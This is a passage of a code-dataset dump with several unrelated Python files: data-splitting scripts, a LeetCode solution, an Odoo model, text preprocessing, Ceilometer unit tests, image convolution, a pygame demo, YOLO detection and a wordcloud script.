Juice!\")\nparser.add_argument('-o','--outputPath', action='store', required = False\n , help = \"\"\"Output file path. When set to None, will use\n inputFile path.\"\"\")\n\nimport sys,os\nif len(sys.argv)==1:\n parser.print_help()\n sys.exit(1)\nargs = parser.parse_args()\n\n\nfrom RingerCore import load,save\nfrom RingerCore import changeExtension, ensureExtension, appendToFileName, progressbar, mkdir_p\nfrom itertools import product\nimport numpy as np\nif args.outputPath is None:\n args.outputPath = os.path.dirname(args.inputFile)\n if not os.path.isdir( args.outputPath ): mkdir_p( args.outputPath )\nf = load(args.inputFile)\n# Copy all metada information\nbaseDict = { k : f[k] for k in f.keys() if not '_etBin_' in k and not '_etaBin_' in k }\nnEtBins = f['nEtBins'].item()\nnEtaBins = f['nEtaBins'].item()\nfor etIdx, etaIdx in progressbar( product(xrange(nEtBins), xrange(nEtaBins))\n , nEtBins*nEtaBins\n , logger = mainLogger \n , prefix = 'Juicing file '):\n binDict= {k:f[k] for k in f.keys() if 'etBin_%d_etaBin_%d'%(etIdx,etaIdx) in k}\n binDict.update(baseDict)\n outFile = os.path.join( args.outputPath, os.path.basename( appendToFileName(args.inputFile, 'et%d_eta%d' % (etIdx, etaIdx) ) ) )\n #save(binDict, outFile, protocol = 'savez_compressed' )\n save(binDict, outFile )\n","sub_path":"TuningTools_old/scripts/standalone/fileJuicer.py","file_name":"fileJuicer.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"178121539","text":"def main():\n inicial = float(input(\"Dame el peso inicial: \"))\n final = float(input(\"Dame el peso final: \"))\n meses = int(input(\"Dame la cantidad de meses: \"))\n pormes = (inicial-final)/meses\n #diferencia entre numero de meses = peso a bajar por mes\n print(\"Lo que debes bajar por mes es: \",pormes)\n\nif __name__ == '__main__':\n main()","sub_path":"Tarea-1/Peso.py","file_name":"Peso.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"455257336","text":"class Solution:\n def mctFromLeafValues1(self, arr: List[int]) -> int:\n # top down\n @functools.lru_cache(None)\n def dp(i, j):\n if i >= j:\n return 0\n if i == j - 1:\n return arr[i]*arr[j]\n return min(max(arr[i:k])*max(arr[k:j + 1]) \n + dp(i, k-1) + dp(k, j) for k in range(i + 1, j + 1))\n \n return dp(0, len(arr) - 1)\n \n # bottom up\n def mctFromLeafValues(self, arr: List[int]) -> int:\n if not arr or len(arr) < 2: return 0\n n = len(arr)\n # init dp\n dp = [[float('inf')]*n for _ in range(n)]\n for i in range(n - 1):\n dp[i][i] = 0\n dp[i][i + 1] = arr[i]*arr[i + 1]\n dp[-1][-1] = 0\n \n for i in range(n):\n for j in range(i - 2, -1, -1):\n for k in range(j + 1, i + 1):\n dp[j][i] = min(dp[j][i], \n max(arr[j:k])*max(arr[k:i + 1]) \n + dp[j][k - 1] + dp[k][i])\n return dp[0][-1]\n ","sub_path":"1130-Minimum Cost Tree from Leaf Values.py","file_name":"1130-Minimum Cost Tree from Leaf Values.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"157861653","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api, _\n\nclass master_rap_line(models.Model):\n _name = \"vit.master_rap_line\"\n _inherit = \"vit.master_rap_line\"\n\n source = fields.Selection(selection=[(\"Product\",\"Product\"), (\"Account\",\"Account\")], string=\"Source\", help=\"\")\n relat = fields.Char(string=\"Relat\")\n\n @api.onchange('source')\n def _onchange_source(self):\n if self.source == \"Product\":\n self.relat = \"Product\"\n else:\n self.relat = \"Account\"\n","sub_path":"vit_marketing_rap_inherit/model/master_rap_line.py","file_name":"master_rap_line.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"429722174","text":"import pandas as pd\nimport numpy as np\n\n#import data and make into a dataframe\nfaculty = pd.read_csv('/Users/Jessica/ds/metis/prework/dsp/python/faculty.csv', na_values = [\"\",\" \", 0], skipinitialspace = True)\nfaculty = pd.DataFrame(faculty)\nfaculty_dic_frame = pd.DataFrame(faculty)\n\n\n\nimport pandas as pd\nimport numpy as np\n\n#import data and make into a dataframe\nfaculty = pd.read_csv('/Users/Jessica/ds/metis/prework/dsp/python/faculty.csv', na_values = [\"\",\" \", 0], skipinitialspace = True)\nfaculty_dic_frame = pd.DataFrame(faculty)\n\n#Q6\n#make column of last names in dataframe\nfaculty_dic_frame['lastname'] = faculty.name.str.split('\\s+').str[-1]\nfaculty_dic_frame = faculty_dic_frame.drop('name', 1)\nlastnames = faculty_dic_frame['lastname']\nlastnames\n\n#make dictionary\nq6 = {}\nfor name in lastnames:\n x = faculty_dic_frame[lastnames == name]\n for index, row in x.iterrows():\n q6.setdefault(row['lastname'], []).append(row[['degree', 'title', 'email']].tolist())\n#return first 3 pairs \nfirst3 = {k: q6[k] for k in sorted(q6.keys())[:3]}\nfirst3\n\n#q7\n#make dictionary\nq7 = {}\nfor index, row in faculty.iterrows():\n q7.setdefault((row['name'].split()[0], row['name'].split()[-1]), []).append(row[['degree', 'title', 'email']].tolist())\n\nfirst3 = {k: q7[k] for k in sorted(q7.keys())[:3]}\nfirst3\n\n#q8\n#make dictionary\nq8 = {}\nfor index, row in faculty.iterrows():\n q8.setdefault((row['name'].split()[-1], row['name'].split()[0]), []).append(row[['degree', 'title', 'email']].tolist())\n\nfirst3 = {k: q8[k] for k in sorted(q8.keys())[:3]}\nfirst3","sub_path":"python/advanced_python_dict.py","file_name":"advanced_python_dict.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"356076190","text":"'''\nLoading numpy and pandas libraries\n'''\nimport numpy as np\nimport pandas as pd\n\n\n'''\nLoading Gensim and nltk libraries\n'''\nimport gensim\nfrom gensim.utils import simple_preprocess\nfrom gensim.parsing.preprocessing import STOPWORDS\nfrom nltk.stem import WordNetLemmatizer, SnowballStemmer\n# from nltk.stem.porter import * \n# from nltk.stem.porter import PorterStemmer\n\n\n'''\nLoad english wards from nltk , and english stemmers\n'''\nimport nltk\nnltk.download('wordnet')\nnltk.download('words')\nwords = set(nltk.corpus.words.words())\nstemmer = SnowballStemmer(\"english\")\n\n\n'''\nLoad Regular expressions\n'''\nimport re\n\n\n'''\nLoad operator package, this will be used in dictionary sort\n'''\nimport operator\n\n\n'''\nfix random state\n'''\nnp.random.seed(42)\n\n\n'''\nSuppress warnings\n'''\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\n'''\nLoad punctuation for data preprocesing\n'''\nfrom string import punctuation\n\n\n'''\nWord cloud implementation\n'''\nfrom PIL import Image\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nfrom matplotlib import pyplot as plt\n\n\n\ndef preprocess_word(word):\n \"\"\" \n Word preprocessing \n \n This function will preprocess particular word \n \n Parameters: \n word: string\n \n Returns: \n string: will return initial string input but preprocessed ,\n so from input string will delete all punctuation and repeated symbols.\n \"\"\"\n \n \n # Remove punctuation\n word = ''.join(c for c in word if c not in punctuation)\n \n # Convert more than 2 letter repetitions to 2 letter\n # funnnnny --> funny\n word = re.sub(r'(.)\\1+', r'\\1\\1', word)\n \n return word\n\ndef is_valid_word(word):\n \"\"\" \n Word checking\n \n This function will check if word starts with alphabet \n \n Parameters: \n word: string\n \n Returns: \n Boolean: Is valid or not , True means that word is valid\n \"\"\"\n \n \n # Check if word begins with an alphabet\n return (re.search(r'^[a-zA-Z][a-z0-9A-Z\\._]*$', word) is not None)\n\ndef handle_emojis(document):\n \"\"\" \n Emoji classifier\n \n This function will replace emojis with EMO_POS or EMO_NEG , depending on its meaning \n \n Parameters: \n document: string\n \n Returns: \n string: initial string input replaced emojis by their meaning, \n for example :) will replaced with EMO_POS but ): will replaced with EMO_NEG\n \"\"\"\n \n \n # Smile -- :), : ), :-), (:, ( :, (-:, :')\n document = re.sub(r'(:\\s?\\)|:-\\)|\\(\\s?:|\\(-:|:\\'\\))', ' EMO_POS ', document)\n \n # Laugh -- :D, : D, :-D, xD, x-D, XD, X-D\n document = re.sub(r'(:\\s?D|:-D|x-?D|X-?D)', ' EMO_POS ', document)\n \n # Love -- <3, :*\n document = re.sub(r'(<3|:\\*)', ' EMO_POS ', document)\n \n # Wink -- ;-), ;), ;-D, ;D, (;, (-;\n document = re.sub(r'(;-?\\)|;-?D|\\(-?;)', ' EMO_POS ', document)\n \n # Sad -- :-(, : (, :(, ):, )-:\n document = re.sub(r'(:\\s?\\(|:-\\(|\\)\\s?:|\\)-:)', ' EMO_NEG ', document)\n \n # Cry -- :,(, :'(, :\"(\n document = re.sub(r'(:,\\(|:\\'\\(|:\"\\()', ' EMO_NEG ', document)\n \n return document\n\ndef preprocess_document(document, use_stemmer = False):\n \"\"\" \n Text preprocessing\n \n This function will preprocess the input text \n \n Parameters: \n document: string (we can put the entire string row , for instance in our case I will pass conversation)\n use_stemmer: Boolean (If True I will use stemmer as well as all other processes)\n \n Returns: \n string: processed input string\n \"\"\"\n \n \n def lemmatize_stemming(text):\n return stemmer.stem(WordNetLemmatizer().lemmatize(text, pos='v'))\n\n processed_document = []\n \n # Convert to lower case\n document = document.lower()\n \n # Replaces URLs with the word URL\n document = re.sub(r'((www\\.[\\S]+)|(https?://[\\S]+))', ' URL ', document)\n \n # Replace @handle with the word USER_MENTION\n document = re.sub(r'@[\\S]+', 'USER_MENTION', document)\n \n # Replaces #hashtag with hashtag\n document = re.sub(r'#(\\S+)', r' \\1 ', document)\n \n # Replace 2+ dots with space\n document = re.sub(r'\\.{2,}', ' ', document)\n \n # Strip space, \" and ' from document\n document = document.strip(' \"\\'')\n \n # Replace emojis with either EMO_POS or EMO_NEG\n document = handle_emojis(document)\n \n # Replace multiple spaces with a single space\n document = re.sub(r'\\s+', ' ', document)\n words = document.split()\n\n for word in words:\n word = preprocess_word(word)\n if is_valid_word(word):\n if use_stemmer:\n word = lemmatize_stemming(word)\n if word not in gensim.parsing.preprocessing.STOPWORDS and len(word) > 3:\n processed_document.append(word)\n \n processed_internal_state = ' '.join(processed_document)\n \n processed_internal_state = re.sub(r'\\b\\w{1,3}\\b', '', processed_internal_state)\n \n processed_internal_state = ' '.join(processed_internal_state.split())\n\n return processed_internal_state\n\ndef preprocess(preprocessed_document):\n \"\"\" \n tokenize and combine already preprocessed document\n \n This function will tokenize document and will combine document such a way ,\n that we can containing the number of times a word appears in the training set \n using gensim.corpora.Dictionary\n \n Parameters: \n preprocessed_document: string (particular document obtained from preprocess_document function)\n \n Returns: \n list: tokenized documents in approprite form\n \"\"\"\n \n \n result=[]\n \n for token in gensim.utils.simple_preprocess(preprocessed_document) :\n result.append(token)\n \n return result\n","sub_path":"FinalProject/Topic_Extraction_With_LDA/UsedFunctions.py","file_name":"UsedFunctions.py","file_ext":"py","file_size_in_byte":5660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"598350589","text":"#\n# Copyright 2016 Hewlett Packard\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport os\n\nimport fixtures\nimport mock\nfrom oslo_config import fixture as fixture_config\nfrom oslo_utils import fileutils\nfrom oslotest import base\nimport six\nimport yaml\n\nfrom ceilometer.ceilosca_mapping import ceilometer_static_info_mapping\nfrom ceilometer.ceilosca_mapping.ceilometer_static_info_mapping import (\n CeilometerStaticMappingDefinition)\nfrom ceilometer.ceilosca_mapping.ceilometer_static_info_mapping import (\n CeilometerStaticMappingDefinitionException)\nfrom ceilometer.storage import impl_monasca\n\n\nclass TestStaticInfoBase(base.BaseTestCase):\n pipeline_data = yaml.dump({\n 'sources': [{\n 'name': 'test_pipeline',\n 'interval': 1,\n 'meters': ['testbatch', 'testbatch2'],\n 'resources': ['alpha', 'beta', 'gamma', 'delta'],\n 'sinks': ['test_sink']}],\n 'sinks': [{\n 'name': 'test_sink',\n 'transformers': [],\n 'publishers': [\"test\"]}]\n })\n\n cfg = yaml.dump({\n 'meter_info_static_map': [{\n 'name': \"disk.ephemeral.size\",\n 'type': \"gauge\",\n 'unit': \"GB\"\n }, {\n 'name': \"image.delete\",\n 'type': \"delta\",\n 'unit': \"image\"\n }, {\n 'name': \"image\",\n 'type': \"gauge\",\n 'unit': \"image\"\n }, {\n 'name': \"disk.root.size\",\n 'type': \"gauge\",\n 'unit': \"GB\"\n }\n ]\n })\n ceilosca_cfg = yaml.dump({\n 'meter_metric_map': [{\n 'user_id': '$.dimensions.user_id',\n 'name': 'fake_meter',\n 'resource_id': '$.dimensions.resource_id',\n 'region': 'NA',\n 'monasca_metric_name': 'fake_metric',\n 'source': 'NA',\n 'project_id': '$.dimensions.tenant_id',\n 'type': 'gauge',\n 'resource_metadata': '$.measurements[0][2]',\n 'unit': 'B/s'\n }, {\n 'user_id': '$.dimensions.user_id',\n 'name': 'fake_meter2',\n 'resource_id': '$.dimensions.resource_id',\n 'region': 'NA',\n 'monasca_metric_name': 'fake_metric2',\n 'source': 'NA',\n 'project_id': '$.dimensions.project_id',\n 'type': 'delta',\n 'resource_metadata': '$.measurements[0][2]',\n 'unit': 'B/s'\n }]\n })\n\n def setup_static_mapping_def_file(self, cfg):\n if six.PY3:\n cfg = cfg.encode('utf-8')\n ceilometer_static_info_mapping = fileutils.write_to_tempfile(\n content=cfg, prefix='ceilometer_static_info_mapping', suffix='yaml'\n )\n self.addCleanup(os.remove, ceilometer_static_info_mapping)\n return ceilometer_static_info_mapping\n\n def setup_ceilosca_mapping_def_file(self, ceilosca_cfg):\n if six.PY3:\n ceilosca_cfg = ceilosca_cfg.encode('utf-8')\n ceilosca_mapping_file = fileutils.write_to_tempfile(\n content=ceilosca_cfg, prefix='ceilosca_mapping', suffix='yaml')\n self.addCleanup(os.remove, ceilosca_mapping_file)\n return ceilosca_mapping_file\n\n def setup_pipeline_file(self, pipeline_data):\n if six.PY3:\n pipeline_data = pipeline_data.encode('utf-8')\n pipeline_cfg_file = fileutils.write_to_tempfile(content=pipeline_data,\n prefix=\"pipeline\",\n suffix=\"yaml\")\n self.addCleanup(os.remove, pipeline_cfg_file)\n return pipeline_cfg_file\n\n\nclass TestStaticInfoDefinition(base.BaseTestCase):\n\n def test_static_info_definition(self):\n cfg = dict(name=\"image.delete\",\n type=\"delta\",\n unit=\"image\")\n handler = CeilometerStaticMappingDefinition(cfg)\n self.assertEqual(\"delta\", handler.cfg['type'])\n self.assertEqual(\"image.delete\", handler.cfg['name'])\n self.assertEqual(\"image\", handler.cfg['unit'])\n\n def test_config_required_missing_fields(self):\n cfg = dict()\n try:\n CeilometerStaticMappingDefinition(cfg)\n except CeilometerStaticMappingDefinitionException as e:\n self.assertEqual(\"Required fields [\"\n \"'name', 'type', 'unit'] \"\n \"not specified\", e.message)\n\n def test_bad_type_cfg_definition(self):\n cfg = dict(name=\"fake_meter\",\n type=\"foo\",\n unit=\"B/s\")\n try:\n CeilometerStaticMappingDefinition(cfg)\n except CeilometerStaticMappingDefinitionException as e:\n self.assertEqual(\"Invalid type foo specified\", e.message)\n\n\nclass TestMappedCeilometerStaticInfoProcessing(TestStaticInfoBase):\n\n def setUp(self):\n super(TestMappedCeilometerStaticInfoProcessing, self).setUp()\n self.CONF = self.useFixture(fixture_config.Config()).conf\n static_info_mapping_file = self.setup_static_mapping_def_file(self.cfg)\n self.CONF.set_override('ceilometer_static_info_mapping',\n static_info_mapping_file, group='monasca')\n self.static_info_mapper = ceilometer_static_info_mapping\\\n .ProcessMappedCeilometerStaticInfo()\n self.CONF([], project='ceilometer', validate_default_values=True)\n\n def test_fallback_mapping_file_path(self):\n self.useFixture(fixtures.MockPatchObject(self.CONF,\n 'find_file',\n return_value=None))\n self.CONF.set_override('ceilometer_static_info_mapping',\n ' ', group='monasca')\n self.static_info_mapper.reinitialize()\n fall_bak_path = ceilometer_static_info_mapping.get_config_file()\n self.assertIn(\n \"ceilosca_mapping/data/ceilometer_static_info_mapping.yaml\",\n fall_bak_path)\n\n @mock.patch(\n 'ceilometer.ceilosca_mapping.ceilometer_static_info_mapping.LOG')\n def test_bad_mapping_definition_skip(self, LOG):\n cfg = yaml.dump({\n 'meter_info_static_map': [{\n 'name': \"disk.ephemeral.size\",\n 'type': \"gauge\",\n 'unit': \"GB\"\n }, {\n 'name': \"image.delete\",\n 'type': \"delta\",\n 'unit': \"image\"\n }, {\n 'name': \"image\",\n 'type': \"gauge\",\n 'unit': \"image\"\n }, {\n 'name': \"disk.root.size\",\n 'type': \"foo\",\n 'unit': \"GB\"\n }]\n })\n static_info_mapping_file = self.setup_static_mapping_def_file(cfg)\n self.CONF.set_override('ceilometer_static_info_mapping',\n static_info_mapping_file, group='monasca')\n data = ceilometer_static_info_mapping.\\\n setup_ceilometer_static_mapping_config()\n meter_loaded = ceilometer_static_info_mapping.load_definitions(data)\n self.assertEqual(3, len(meter_loaded))\n LOG.error.assert_called_with(\n \"Error loading Ceilometer Static Mapping Definition : \"\n \"Invalid type foo specified\")\n\n def test_list_of_meters_returned(self):\n self.static_info_mapper.reinitialize()\n self.assertItemsEqual(['disk.ephemeral.size', 'disk.root.size',\n 'image', 'image.delete'],\n self.static_info_mapper.\n get_list_supported_meters().\n keys()\n )\n\n def test_static_info_of_ceilometer_meter(self):\n cfg = yaml.dump({\n 'meter_info_static_map': [{\n 'name': \"disk.ephemeral.size\",\n 'type': \"gauge\",\n 'unit': \"GB\"\n }]\n })\n static_info_mapping_file = self.setup_static_mapping_def_file(cfg)\n self.CONF.set_override('ceilometer_static_info_mapping',\n static_info_mapping_file, group='monasca')\n self.static_info_mapper.reinitialize()\n self.assertEqual('gauge',\n self.static_info_mapper.get_meter_static_info_key_val(\n 'disk.ephemeral.size', 'type')\n )\n\n\n# This Class will only test the driver for the mapped static info\n# Impl_Monasca Tests will be doing exhaustive tests for other test cases\n@mock.patch(\"ceilometer.storage.impl_monasca.MonascaDataFilter\")\nclass TestMoanscaDriverForMappedStaticInfo(TestStaticInfoBase):\n\n def setUp(self):\n super(TestMoanscaDriverForMappedStaticInfo, self).setUp()\n self.CONF = self.useFixture(fixture_config.Config()).conf\n self.CONF([], project='ceilometer', validate_default_values=True)\n pipeline_cfg_file = self.setup_pipeline_file(self.pipeline_data)\n self.CONF.set_override(\"pipeline_cfg_file\", pipeline_cfg_file)\n static_info_mapping_file = self.setup_static_mapping_def_file(self.cfg)\n self.CONF.set_override('ceilometer_static_info_mapping',\n static_info_mapping_file, group='monasca')\n ceilosca_mapping_file = self.setup_ceilosca_mapping_def_file(\n self.ceilosca_cfg)\n self.CONF.set_override('ceilometer_monasca_metrics_mapping',\n ceilosca_mapping_file, group='monasca')\n self.static_info_mapper = ceilometer_static_info_mapping\\\n .ProcessMappedCeilometerStaticInfo()\n self.static_info_mapper.reinitialize()\n\n def test_get_statc_info_for_mapped_meters_uniq(self, mdf_mock):\n dummy_metric_names_mocked_return_value = (\n [{\"id\": \"015c995b1a770147f4ef18f5841ef566ab33521d\",\n \"name\": \"image\"},\n {\"id\": \"335b5d569ad29dc61b3dc24609fad3619e947944\",\n \"name\": \"fake_metric\"}])\n\n with mock.patch('ceilometer.monasca_client.Client') as mock_client:\n conn = impl_monasca.Connection('127.0.0.1:8080')\n metric_names_list_mock = mock_client().metric_names_list\n metric_names_list_mock.return_value = (\n dummy_metric_names_mocked_return_value\n )\n\n kwargs = dict(limit=4,\n unique=True)\n results = list(conn.get_meters(**kwargs))\n self.assertEqual(2, len(results))\n self.assertEqual(True, metric_names_list_mock.called)\n self.assertEqual(1, metric_names_list_mock.call_count)\n","sub_path":"ceilosca/ceilometer/tests/unit/ceilosca_mapping/test_static_ceilometer_mapping.py","file_name":"test_static_ceilometer_mapping.py","file_ext":"py","file_size_in_byte":11424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"304337173","text":"import numpy as np\nimport csv\n\n\nfile = open('profile/inception.csv','r')\ntime_layer = []\ncsv_reader = csv.reader(file)\nfor line in csv_reader:\n layer_time = float(line[0])\n time_layer.append(layer_time)\n\n\ndef change_waiting_queue(start, waiting_queue, query_start):\n # start records the start position of each query \n # for example start = [0, 60, 0, 0, 60, 120, 120, 0, 0]\n # waiting_queue records the total waiting time of each query\n # query records each type of the queries\n # for example query_start = [0, 60, 120]\n query = [0, 0]\n for item in start:\n if(item == 0):\n query[0] = query[0] + 1\n query[1] = query[1] + 1\n else:\n query[1] = query[1] + 1 \n time1 = []\n start1 = 0\n time2 = 0\n for start2 in query_start:\n query_bs = query[start1]\n for layer in range(start1, start2):\n time2 = time2 + time_layer[layer]/8 * query_bs /1000\n start1 = start2\n time1.append(time2)\n #print(time1)\n for i, item in enumerate(start):\n if(item == 101):\n waiting_queue[i] = waiting_queue[i] - time1[1]\n return waiting_queue","sub_path":"stepping_load/edge_serving_inception_delay/runtime.py","file_name":"runtime.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"66504380","text":"# @file transform.py\n#\n# CONVOLUTION ROUTINES\n#\n# Functions for convolving data. Based on work by Yinghao Ge and Fred Ngole.\n#\n# @author Samuel Farrens\n# @version 2.0\n# @date 2015\n#\n\nimport numpy as np\n# from scipy.signal import fftconvolve\nfrom astropy.convolution import convolve_fft\nfrom functions.np_adjust import rotate, rotate_stack\n\n\n##\n# Function that convolves the input data with a given kernel using FFT.\n# This is the default convolution used for all routines.\n#\n# @param[in] data: Input data.\n# @param[in] kernel: Kernel.\n#\n# @return Convolved data.\n#\ndef convolve(data, kernel):\n\n return convolve_fft(data, kernel, boundary='wrap', crop=True)\n # return fftconvolve(data, kernel, mode='same')\n\n\n##\n# Function that convolves an image with a PSF.\n#\n# @param[in] data: Input data.\n# @param[in] psf: PSF.\n# @param[in] psf_rot: Option to rotate PSF.\n# @param[in] psf_type: PSF type. ('fixed' or 'obj_var')\n#\n# @return Convolved image.\n#\n# @exception ValueError for invalid PSF type.\n#\ndef psf_convolve(data, psf, psf_rot=False, psf_type='fixed'):\n\n # Check input values.\n if psf_type not in ('fixed', 'obj_var'):\n raise ValueError('Invalid PSF type! Options are fixed or obj_var')\n\n # Rotate the PSF(s) by 180 degrees.\n if psf_rot and psf_type == 'fixed':\n psf = rotate(psf)\n\n elif psf_rot:\n psf = rotate_stack(psf)\n\n # Convolve the PSF with the data.\n if psf_type == 'fixed':\n return np.array([convolve(data_i, psf) for data_i in data])\n\n elif psf_type == 'obj_var':\n return np.array([convolve(data_i, psf_i) for data_i, psf_i in\n zip(data, psf)])\n","sub_path":"python/psf_pypy/convolve.py","file_name":"convolve.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"382886284","text":"from random import randint\nimport pygame\nimport utils\nimport gamemap\nimport color\nimport entity\nvec = pygame.math.Vector2\npygame.init()\n\nwin = pygame.display.set_mode((500,500))\npygame.display.set_caption(\"jump test\")\nbasic_font = pygame.font.Font(None, 20)\nclock = pygame.time.Clock()\nglobal run\nrun = True\ndelta = 0\n\n#GAME WORLD INIT#\ngame_world = gamemap.world(15,15,30)\ngame_world.generate()\ngame_world.add_entity(entity.Ball(10,10,15,game_world))\n#GAME WORLD INIT#\n\nlist_text_surf = []\nlist_text_rect = []\n\ndef handle_input():\n pressed = pygame.key.get_pressed()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return False\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_SPACE:\n game_world.add_entity(entity.Ball(randint(0,500), randint(0,500),20,game_world))\n if event.key == pygame.K_ESCAPE:\n return False \n return True\n\ndef create_text(message, font, color):\n text_surf = font.render(message, True, color)\n return text_surf, text_surf.get_rect() \n \ndef draw_text(message,x,y, color, font):\n text_surf, text_rect = create_text(message, font, color)\n text_rect.x = x\n text_rect.y = y\n list_text_surf.append(text_surf)\n list_text_rect.append(text_rect)\n\ndef update(dt):\n game_world.update(dt) \n \ndef render():\n game_world.render(win)\n\n draw_text(\"entities in game \" + str(len(game_world.entities)),10, 10, color.white, basic_font) \n \n if len(list_text_rect) != len(list_text_surf):\n print(\"text list mismatch\")\n else:\n for i in range(len(list_text_surf)):\n win.blit(list_text_surf[i], list_text_rect[i])\n list_text_rect.clear()\n list_text_surf.clear()\n\nwhile handle_input():\n win.fill((20,20,20))\n render()\n pygame.display.update()\n dt = clock.tick(60)\n #limit deltatime to max value to prevent jumping\n update(float(dt) / 1000)\npygame.quit()\nprint(\"game closed\")\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"327949777","text":"import cv2\r\nimport numpy as np\r\n\r\n#load YOLO\r\nnet = cv2.dnn.readNet(\"yolov3.weights\", \"yolov3.cfg\")\r\nclasses = []\r\nwith open(\"coco.names\", \"r\") as f:\r\n classes = [line.strip() for line in f.readlines()]\r\n\r\nlayer_names = net.getLayerNames()\r\noutputlayers = [layer_names[i[0]-1] for i in net.getUnconnectedOutLayers()]\r\n\r\ncolors = np.random.uniform(0,255,size=(len(classes),3))\r\n\r\nimg = cv2.imread(\"hari.jpg\")\r\nimg = cv2.resize(img, ( int(img.shape[1]/6),int(img.shape[0]/6) ) )\r\nheight, width, channels = img.shape\r\nblob = cv2.dnn.blobFromImage(img, 0.00392,(416, 416), (0, 0, 0), True, crop=False)\r\n\r\n# for b in blob:\r\n# for n, img_blob in enumerate(b):\r\n\r\n\r\nnet.setInput(blob)\r\nouts = net.forward(outputlayers)\r\n\r\nconfidences = []\r\nclassids = []\r\nboxes = []\r\n\r\nfor out in outs:\r\n for detection in out:\r\n scores = detection[5:]\r\n classid = np.argmax(scores)\r\n confidence = scores[classid]\r\n if confidence > 0.5:\r\n centerX = int(detection[0]*width)\r\n centerY = int(detection[1]*height)\r\n w = int(detection[2]*width)\r\n h = int(detection[3]*height)\r\n\r\n #cv2.circle(img, (centerX,centerY), 10, (0,255,0), 2)\r\n #Rect\r\n x = int(centerX - w/2)\r\n y = int(centerY - h/2)\r\n\r\n boxes.append([x,y,w,h])\r\n confidences.append(float(confidence))\r\n classids.append(classid)\r\n\r\nindexes = cv2.dnn.NMSBoxes(boxes, confidences, 0.5, 0.4)\r\n\r\n#print(indexes)\r\n\r\nfont = cv2.FONT_HERSHEY_PLAIN\r\n\r\nnumberObjectsDetected = len(boxes)\r\nfor i in range(numberObjectsDetected):\r\n if i in indexes:\r\n x,y,w,h = boxes[i]\r\n label = str(classes[classids[i]])\r\n color = colors[i]\r\n cv2.rectangle(img, (x,y), (x+h,y+h),color,2)\r\n cv2.putText(img, label, (x,y+30), font, 2, color, 2)\r\n\r\n\r\ncv2.imshow(\"Image\", img)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","sub_path":"yolo.py","file_name":"yolo.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"502497508","text":"#!/usr/bin/python\n\nfrom wordcloud import WordCloud\nimport matplotlib.pyplot as plt\n\nword_file = 'C:/Users/Tanvi/Desktop/project2/hashtag/sign_words_MH.txt'\n\n#initialize an array and open the output file for reading\nword_string = open(word_file, \"r\")\n\ntext = word_string.read()\nwordcloud = WordCloud(background_color='white', width=1200, height=1000).generate(text)\nplt.imshow(wordcloud)\nplt.axis('off')\nplt.show()\n","sub_path":"Code/Wordcloud.py","file_name":"Wordcloud.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"63212318","text":"\n#basics\n\nimport pandas as pd\nimport torch\nfrom lxml import etree as ET\nfrom glob import glob\nfrom nltk import word_tokenize\nfrom string import punctuation\nfrom nltk.tokenize import WhitespaceTokenizer\nimport string\nfrom venn import venn\nimport random\nimport matplotlib.pyplot as plt\n\n\nclass DataLoaderBase:\n\n #### DO NOT CHANGE ANYTHING IN THIS CLASS ### !!!!\n\n def __init__(self, data_dir:str, device=None):\n self._parse_data(data_dir)\n #self.get_y()\n #self.plot_split_ner_distribution()\n assert list(self.data_df.columns) == [\n \"sentence_id\",\n \"token_id\",\n \"char_start_id\",\n \"char_end_id\",\n \"split\"\n ]\n\n assert list(self.ner_df.columns) == [\n \"sentence_id\",\n \"ner_id\",\n \"char_start_id\",\n \"char_end_id\",\n ]\n self.device = device\n \n\n def get_random_sample(self):\n # DO NOT TOUCH THIS\n # simply picks a random sample from the dataset, labels and formats it.\n # Meant to be used as a naive check to see if the data looks ok\n sentence_id = random.choice(list(self.data_df[\"sentence_id\"].unique()))\n sample_ners = self.ner_df[self.ner_df[\"sentence_id\"]==sentence_id]\n sample_tokens = self.data_df[self.data_df[\"sentence_id\"]==sentence_id]\n\n decode_word = lambda x: self.id2word[x]\n sample_tokens[\"token\"] = sample_tokens.loc[:,\"token_id\"].apply(decode_word)\n\n sample = \"\"\n for i,t_row in sample_tokens.iterrows():\n\n is_ner = False\n for i, l_row in sample_ners.iterrows():\n if 